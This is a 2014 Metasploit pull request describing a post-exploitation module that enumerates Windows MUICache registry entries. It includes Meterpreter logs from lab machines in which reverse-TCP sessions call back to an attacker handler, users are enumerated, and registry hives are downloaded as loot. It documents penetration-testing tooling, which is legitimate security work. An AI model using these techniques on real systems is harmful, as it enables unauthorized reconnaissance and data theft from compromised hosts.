rapid7/metasploit-framework — pull request #2858 by jiuweigui (2014-01-10 11:36:14+00:00)
Title: Post Module: Enumerate MUICache registry key entries

Hello.

This post module enumerates registry key MUICache content that contains entries created by shell of different programs executed under each user account. The idea is to provide information about the environment by revealing interesting programs and/or malware that has executed previously on the system.

The module gathers MUICache entries differently depending if the user is logged in the system or not. If the user is currently logged on the system the module will access the registry directly and pull the information from the MUICache registry key. If the user is not logged in then the module downloads the hive NTUSER.DAT/UsrClass.dat from each users home directory and collects the registry key entries using registry library.

Msftidy & rake spec:
```
jiuweigui@debian-msfdev:~/git/metasploit-framework/tools$ ./msftidy.rb ../modules/post/windows/gather/enum_muicache.rb
jiuweigui@debian-msfdev:~/git/metasploit-framework/tools$

jiuweigui@debian-msfdev:~/git/metasploit-framework$ rake spec/
jiuweigui@debian-msfdev:~/git/metasploit-framework$
```

WinXP regular user:
```
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.130
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.130:1050) at 2014-01-10 14:11:40 +0200

meterpreter > getuid
Server username: XP-E49FE0852877\restricted_user
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[-] Unsupported OS or not enough privileges. Unable to continue.
meterpreter >
```

WinXP admin user:
```
[*] Started reverse handler on 10.5.5.133:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.130
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.130:1051) at 2014-01-10 14:13:33 +0200

meterpreter > getuid
Server username: XP-E49FE0852877\xp-user
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[+] Remote system supported: Windows XP (Build 2600, Service Pack 3).
[*] Phase 1: Searching usernames..
[+] Found users: xp-user, restricted_user
[*] Phase 2: Searching registry hives..
[*] User xp-user: Enumerating registry..
[-] User restricted_user: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..
[*] Downloading restricted_user's NTUSER.DAT/USERCLASS.DAT file..
[+] Hive downloaded successfully.
[*] Phase 3: Parsing registry content..
[*] Phase 4: Processing results..

MUICache Information
====================

Username File path File status
-------- --------- -----------
restricted_user \\vmware-host\Shared Folders\SharedDirectory\msf_reverse_tcp.exe File found
restricted_user C:\Program Files\VMware\VMware Tools\vmtoolsd.exe File found
restricted_user C:\WINDOWS\Explorer.EXE File found
restricted_user C:\WINDOWS\system32\cmd.exe File found
restricted_user C:\WINDOWS\system32\ctfmon.exe File found
restricted_user C:\WINDOWS\system32\VBoxTray.exe File found
xp-user C:\Documents and Settings\xp-user\Desktop\msf_reverse_tcp.exe File not found
xp-user C:\WINDOWS\system32\rundll32.exe File found
xp-user C:\WINDOWS\regedit.exe File found
xp-user C:\Documents and Settings\xp-user\Desktop\new folder\msf_reverse_tcp.exe File found
xp-user C:\Program Files\Internet Explorer\iexplore.exe File found
xp-user C:\WINDOWS\system32\cmd.exe File found
xp-user C:\WINDOWS\Explorer.EXE File found
xp-user C:\WINDOWS\system32\ctfmon.exe File found
xp-user C:\Program Files\VMware\VMware Tools\vmtoolsd.exe File found
xp-user C:\WINDOWS\system32\VBoxTray.exe File found

[*] Results stored in: /home/jiuweigui/.msf4/loot/20140110141357_DevDB_10.5.5.130_muicache_info_155041.txt
[*] Execution finished.
meterpreter >
```

Win7 regular user:
```
[*] Started reverse handler on 10.5.5.133:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.129
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.129:49158) at 2014-01-10 14:18:54 +0200

meterpreter > getuid
Server username: WIN7-USER-PC\user1
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[-] Unsupported OS or not enough privileges. Unable to continue.
meterpreter >
```

Win7 admin user:
```
[*] Started reverse handler on 10.5.5.133:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.5.5.129
[*] Meterpreter session 1 opened (10.5.5.133:4444 -> 10.5.5.129:49162) at 2014-01-10 14:21:16 +0200

meterpreter > getuid
Server username: WIN7-USER-PC\WIN7-USER
meterpreter > run post/windows/gather/enum_muicache

[*] Starting to enumerate MuiCache registry keys..
[+] Remote system supported: Windows 7 (Build 7600).
[*] Phase 1: Searching usernames..
[+] Found users: WIN7-USER, user1
[*] Phase 2: Searching registry hives..
[*] User WIN7-USER: Enumerating registry..
[-] User user1: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..
[*] Downloading user1's NTUSER.DAT/USERCLASS.DAT file..
[+] Hive downloaded successfully.
[*] Phase 3: Parsing registry content..
[*] Phase 4: Processing results..

MUICache Information
====================

Username File path File status
-------- --------- -----------
WIN7-USER C:\Windows\system32\WFS.exe File found
WIN7-USER C:\Users\WIN7-USER\Desktop\7z920.exe File not found
WIN7-USER C:\Users\WIN7-USER\Desktop\msf_reverse_tcp.exe File found
WIN7-USER C:\Users\WIN7-USER\Desktop\Procmon.exe File found
WIN7-USER \\vmware-host\Shared Folders\SharedDirectory\sdhash-3.3-win32\sdhash.exe File found
user1 C:\Windows\system32\WFS.exe File found
user1 C:\Users\user1\Desktop\meterpreter_reverse_tcp.exe File not found
user1 C:\Users\user1\Desktop\msf_reverse_tcp.exe File found

[*] Results stored in: /home/jiuweigui/.msf4/loot/20140110142133_DevDB_10.5.5.129_muicache_info_188548.txt
[*] Execution finished.
meterpreter >
```